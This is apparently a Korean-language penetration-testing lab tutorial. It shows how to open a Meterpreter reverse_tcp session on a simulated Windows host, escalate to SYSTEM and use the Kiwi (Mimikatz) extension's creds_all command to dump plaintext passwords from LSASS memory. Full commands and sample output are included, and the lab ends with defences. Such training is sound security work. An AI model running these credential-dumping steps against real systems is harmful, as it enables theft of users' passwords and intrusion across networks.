Meterpreter 에서 Kiwi 를 사용하여 일반 텍스트 비밀번호 추출하기

Kali LinuxBeginner
지금 연습하기

소개

침투 테스트의 후반 단계에서 주요 목표 중 하나는 네트워크를 통해 측면으로 이동하기 위한 자격 증명을 수집하는 것입니다. Metasploit 의 Meterpreter 는 침해된 시스템에 대한 대화형 쉘을 제공하는 강력한 페이로드입니다.

Meterpreter 의 가장 강력한 기능 중 하나는 유명한 Mimikatz 도구를 포팅한 Kiwi 확장입니다. Kiwi 를 사용하면 공격자는 대상 시스템의 메모리, 특히 로컬 보안 기관 서브시스템 서비스 (LSASS) 프로세스에서 일반 텍스트 비밀번호, 해시, PIN 및 Kerberos 티켓을 직접 추출할 수 있습니다.

이 랩에서는 Meterpreter 세션 내에서 Kiwi 확장을 로드하고 사용하여 시뮬레이션된 Windows 대상에서 자격 증명을 덤프하는 방법을 배웁니다.

Windows 대상에서 SYSTEM 권한으로 Meterpreter 세션 확보

이 단계에서는 대상 시스템에 대한 액세스를 확보하는 것을 시뮬레이션합니다. 실제 시나리오에서는 익스플로잇을 사용하여 페이로드를 전달합니다. 여기서는 Metasploit Framework 콘솔을 사용하여 리스너를 설정합니다. 그러면 시뮬레이션된 대상이 리스너에 연결하여 Meterpreter 세션을 제공합니다.

먼저 Metasploit 콘솔을 시작합니다. -q 플래그는 배너를 표시하지 않고 조용하게 시작하도록 합니다.

msfconsole -q

다음으로 시뮬레이션된 대상으로부터 들어오는 연결을 "가로채기" 위해 리스너를 구성합니다. 이를 위해 multi/handler 모듈을 사용합니다.

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

이제 exploit -j를 사용하여 리스너를 백그라운드 작업으로 실행합니다.

exploit -j

잠시 후 세션이 생성됩니다. sessions 명령으로 활성 세션을 나열할 수 있습니다.

sessions

다음과 유사한 활성 세션을 나타내는 출력이 표시되어야 합니다.

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  1         meterpreter x86/windows  WIN-TARGET\LabUser @ WIN-TARGET  127.0.0.1:4444 -> 127.0.0.1:54321 (...)

이제 세션 1 과 상호 작용합니다.

sessions -i 1

프롬프트가 meterpreter >로 변경됩니다. Kiwi 를 효과적으로 사용하려면 가장 높은 수준의 권한인 NT AUTHORITY\SYSTEM이 필요합니다. getsystem 명령을 사용하여 권한을 에스컬레이션할 수 있습니다.

getsystem

...got system 메시지가 표시되어야 합니다. getuid를 실행하여 새 신원을 확인합니다.

getuid

예상되는 출력은 다음과 같아야 합니다.

Server username: NT AUTHORITY\SYSTEM

이제 SYSTEM 권한을 가진 Meterpreter 세션을 확보했으며 다음 단계를 진행할 준비가 되었습니다.

load kiwi 명령을 사용하여 kiwi 확장 로드

이 단계에서는 Meterpreter 세션에 Kiwi 확장을 로드합니다. Meterpreter 는 모듈식이며, 초기 페이로드 크기를 작게 유지하기 위해 기본적으로 로드되지 않는 추가 기능을 확장이 제공합니다. Kiwi 확장은 Mimikatz 스타일의 자격 증명 덤핑을 수행하는 데 필요한 모든 명령을 포함합니다.

meterpreter > 프롬프트에서 load 명령을 사용하여 Kiwi 확장을 추가합니다.

load kiwi

명령이 성공하면 Meterpreter 는 확장이 로드되었음을 확인합니다.

Loading extension kiwi...Success.

Kiwi 확장이 로드되면 이제 자격 증명 수집을 위한 새로운 강력한 명령 세트에 액세스할 수 있습니다.

help 명령으로 사용 가능한 kiwi 명령 나열

이 단계에서는 Kiwi 명령을 사용할 수 있는지 확인할 것입니다. Meterpreter 에서 확장을 로드한 후에는 help 명령을 사용하여 사용 가능한 모든 명령의 업데이트된 목록을 볼 수 있습니다. 이는 확장이 올바르게 로드되었는지 확인하고 새로운 기능을 확인하는 좋은 방법입니다.

meterpreter > 프롬프트에서 help를 입력합니다.

help

출력은 섹션별로 그룹화된 모든 Meterpreter 명령의 긴 목록입니다. 출력을 스크롤하면 "Kiwi Commands"라는 새 섹션을 찾을 수 있습니다. 이 섹션에는 Kiwi 확장에서 제공하는 모든 함수가 나열됩니다.

...
Kiwi Commands
=============

    Command                Description
    -------                -----------
    creds_all              Retrieve all credentials (parsed)
    creds_kerberos         Retrieve Kerberos creds (parsed)
    creds_msv              Retrieve MSV credentials (parsed)
    creds_ssp              Retrieve SSP credentials (parsed)
    creds_tspkg            Retrieve TSPKG credentials (parsed)
    creds_wdigest          Retrieve WDigest credentials (parsed)
    dcsync                 Retrieve user account information via DCSync
    dcsync_ntlm            Retrieve user NTLM hash via DCSync
    golden_ticket_create   Create a golden kerberos ticket
    kerberos_ticket_list   List all kerberos tickets
    kerberos_ticket_purge  Purge any in-use kerberos tickets
    kerberos_ticket_use    Use a kerberos ticket
    kiwi_cmd               Execute a custom command
    lsa_dump_sam           Dump LSA SAM
    lsa_dump_secrets       Dump LSA secrets
    wifi_list              List wifi profiles/creds
    wifi_list_shared       List shared wifi profiles/creds
...

보시다시피 Kiwi 는 Windows 인증 메커니즘과 상호 작용하기 위한 많은 강력한 명령을 추가합니다.

creds_all 명령으로 사용 가능한 모든 자격 증명 덤프

이 단계에서는 Kiwi 확장의 기본 명령을 실행하여 메모리에서 찾은 모든 자격 증명을 덤프합니다. creds_all 명령은 WDigest, Kerberos, MSV 와 같은 다양한 인증 패키지를 대상으로 여러 자격 증명 수집 모듈을 한 번에 실행하는 편리한 래퍼입니다.

이 명령은 LSASS 프로세스 메모리에 액세스하기 위해 SYSTEM 권한이 필요하므로 첫 번째 단계에서 getsystem 명령을 수행했습니다.

meterpreter > 프롬프트에서 creds_all 명령을 실행합니다.

creds_all

명령은 LSASS 프로세스를 검사하므로 실행하는 데 시간이 걸립니다. 출력은 상세하며 다양한 공급자에 대해 찾은 자격 증명을 보여줍니다. 아래는 볼 수 있는 내용의 샘플입니다.

[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    NTLM      WIN-TARGET  LabUser     (null)
0;99876     NTLM      WIN-TARGET  WIN-TARGET$ (null)

wdigest credentials
===================

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    WDigest   WIN-TARGET  LabUser     P@ssword123!
0;99876     WDigest   WIN-TARGET  WIN-TARGET$ (null)

kerberos credentials
====================

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    Kerberos  WIN-TARGET  LabUser     P@ssword123!
0;99876     Kerberos  WIN-TARGET  WIN-TARGET$ (null)
...

대상 시스템의 메모리에서 자격 증명을 성공적으로 덤프했습니다. 다음 단계는 이 출력을 분석하는 것입니다.

일반 텍스트 비밀번호에 대한 출력 분석

이 마지막 단계에서는 creds_all 명령의 출력을 분석하여 일반 텍스트 비밀번호를 식별합니다. 명확한 자격 증명을 찾는 기능은 Kiwi 및 Mimikatz 와 같은 도구를 측면 이동에 매우 강력하게 만드는 요소입니다.

이전 단계에서 받은 출력을 살펴보십시오. 데이터는 인증 패키지별로 구성됩니다.

  • msv: 이 패키지는 표준 NTLM 인증을 처리합니다. 사용자가 최근에 대화형으로 로그인한 경우가 아니라면 일반적으로 일반 텍스트 비밀번호가 아닌 비밀번호 해시를 제공합니다.
  • wdigest: 이전 Windows 시스템 또는 명시적으로 활성화된 시스템에서 WDigest 는 메모리에 사용자의 비밀번호를 역암호화할 수 있는 복사본을 저장합니다. Kiwi 는 이를 쉽게 해독하여 일반 텍스트 비밀번호를 공개할 수 있습니다. 이 섹션이 가장 가치 있는 경우가 많습니다.
  • kerberos: 이 패키지는 Kerberos 티켓을 관리합니다. WDigest 와 유사하게 로그인한 사용자의 일반 텍스트 비밀번호를 캐시할 수도 있습니다.
  • ssptspkg: 이 패키지는 원격 데스크톱 연결과 같은 다른 서비스에 대한 자격 증명을 처리합니다.

이전 단계의 샘플 출력에서 wdigestkerberos 섹션 모두에서 LabUser 사용자에 대한 일반 텍스트 비밀번호를 명확하게 볼 수 있습니다.

wdigest credentials
===================
...
0;109871    WDigest  WIN-TARGET  LabUser     P@ssword123!
...

kerberos credentials
====================
...
0;109871    Kerberos  WIN-TARGET  LabUser     P@ssword123!
...

출력을 주의 깊게 검사하고 Password 열에서 (null)이 아닌 값을 찾아 귀중한 자격 증명을 수확할 수 있습니다. 그런 다음 이 정보를 사용하여 해당 사용자로 다른 시스템이나 서비스에 액세스할 수 있습니다.

요약

이 실습에서는 고전적인 후속 공격 기법을 성공적으로 수행했습니다. 시뮬레이션된 Windows 대상에서 SYSTEM 권한으로 Meterpreter 세션을 획득하는 것으로 시작했습니다. 그런 다음 Mimikatz 의 기능을 Meterpreter 에 통합하는 Kiwi 확장을 로드했습니다.

creds_all 명령을 사용하여 LSASS 프로세스 메모리에서 직접 자격 증명을 덤프했습니다. 마지막으로 출력을 분석하여 로그인한 사용자의 일반 텍스트 비밀번호를 추출했습니다.

이 연습은 엔드포인트의 보안 강화의 중요성을 강조합니다. 이러한 유형의 공격에 대한 방어에는 다음이 포함됩니다.

  • WDigest 인증 비활성화
  • LSA 보호 (RunAsPPL) 활성화
  • 사용자와 프로세스가 불필요한 관리자 권한을 갖지 않도록 최소 권한 원칙 구현

이제 공격자가 메모리 내 자격 증명 덤프를 활용하여 네트워크를 추가로 손상시키는 방법을 실질적으로 이해하게 되었습니다.